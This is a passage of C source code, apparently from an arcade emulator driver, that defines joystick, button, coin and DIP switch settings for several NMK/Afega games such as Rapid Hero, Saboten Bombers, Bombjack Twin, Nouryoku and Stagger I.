PORT_DIPSETTING( 0x60, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( raphero ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_PLAYER(1) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_PLAYER(2) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW1:8" ) PORT_DIPNAME( 0x02, 0x00, DEF_STR( Language ) ) PORT_DIPLOCATION("SW1:7") // Main characters text "talk" at Stage Clear screen, but only when set to Japanese PORT_DIPSETTING( 0x02, DEF_STR( Japanese ) ) PORT_DIPSETTING( 0x00, DEF_STR( English ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:6") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x00, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:5") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x00, DEF_STR( Off) ) PORT_DIPSETTING( 0x08, DEF_STR( On ) ) PORT_DIPNAME( 0x30, 0x30, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:4,3") PORT_DIPSETTING( 0x10, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x30, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x20, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x00, "1" ) PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x1c, 0x1c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x10, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x18, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x14, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x04, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0xe0, 0xe0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x80, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x40, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( sabotenb ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // shown in service mode, but no effect PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Language ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x02, DEF_STR( Japanese ) ) PORT_DIPSETTING( 0x00, DEF_STR( English ) ) PORT_DIPNAME( 0x0c, 0x0c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x08, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x04, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x20, DEF_STR( Off) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x00, "1" ) PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x1c, 0x1c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x10, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x18, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x14, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x04, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0xe0, 0xe0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x80, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x40, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( bjtwin ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // shown in service mode, but no effect PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) // Maybe unused PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x0e, 0x0e, "Starting level" ) PORT_DIPLOCATION("SW1:7,6,5") PORT_DIPSETTING( 0x08, "Germany" ) PORT_DIPSETTING( 0x04, "Thailand" ) PORT_DIPSETTING( 0x0c, "Nevada" ) PORT_DIPSETTING( 0x0e, DEF_STR( Japan ) ) PORT_DIPSETTING( 0x06, DEF_STR( Korea ) ) PORT_DIPSETTING( 0x0a, "England" ) PORT_DIPSETTING( 0x02, DEF_STR( Hong_Kong ) ) PORT_DIPSETTING( 0x00, DEF_STR( China ) ) PORT_DIPNAME( 0x30, 0x30, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:4,3") PORT_DIPSETTING( 0x20, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x30, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x10, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x00, "1" ) PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x1c, 0x1c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x10, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x18, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x14, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x04, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0xe0, 0xe0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x80, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x40, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( nouryoku ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x03, 0x03, "Life Decrease Speed" ) PORT_DIPLOCATION("SW1:8,7") PORT_DIPSETTING( 0x02, "Slow" ) PORT_DIPSETTING( 0x03, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x01, "Fast" ) PORT_DIPSETTING( 0x00, "Very Fast" ) PORT_DIPNAME( 0x0c, 0x0c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x08, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x04, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Free_Play ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0xe0, 0xe0, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW1:3,2,1") PORT_DIPSETTING( 0x20, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x00, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x40, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x80, DEF_STR( 1C_4C ) ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:7") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x02, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:6") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x04, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x08, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:5") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x08, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:4") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW2:3") PORT_DIPSETTING( 0x20, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x40, 0x40, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:2") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x40, DEF_STR( On ) ) PORT_SERVICE_DIPLOC( 0x80, IP_ACTIVE_LOW, "SW2:1" ) INPUT_PORTS_END /*************************************************************************** Input Ports ***************************************************************************/ /*************************************************************************** Stagger I ***************************************************************************/ static INPUT_PORTS_START( afega_common ) PORT_START("IN0") // $080000.w PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0xff00, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") // $080002.w PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) INPUT_PORTS_END static INPUT_PORTS_START( stagger1 ) PORT_INCLUDE( afega_common ) PORT_START("DSW1") // $080004.w PORT_SERVICE_DIPLOC( 0x0001, IP_ACTIVE_LOW, "SW2:8" ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0004, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:6") PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:5") PORT_DIPSETTING( 0x0008, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:4") PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:3") PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW2:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0080, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0040, "5" ) PORT_DIPNAME( 0x0300, 0x0300, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8,7") PORT_DIPSETTING( 0x0300, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPSETTING( 0x0200, "Horizontally" ) PORT_DIPSETTING( 0x0100, "Vertically" ) PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:6") PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1800, 0x1800, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:5,4") PORT_DIPSETTING( 0x0800, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x1800, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x1000, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW1:3,2,1") PORT_DIPSETTING( 0x0000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) 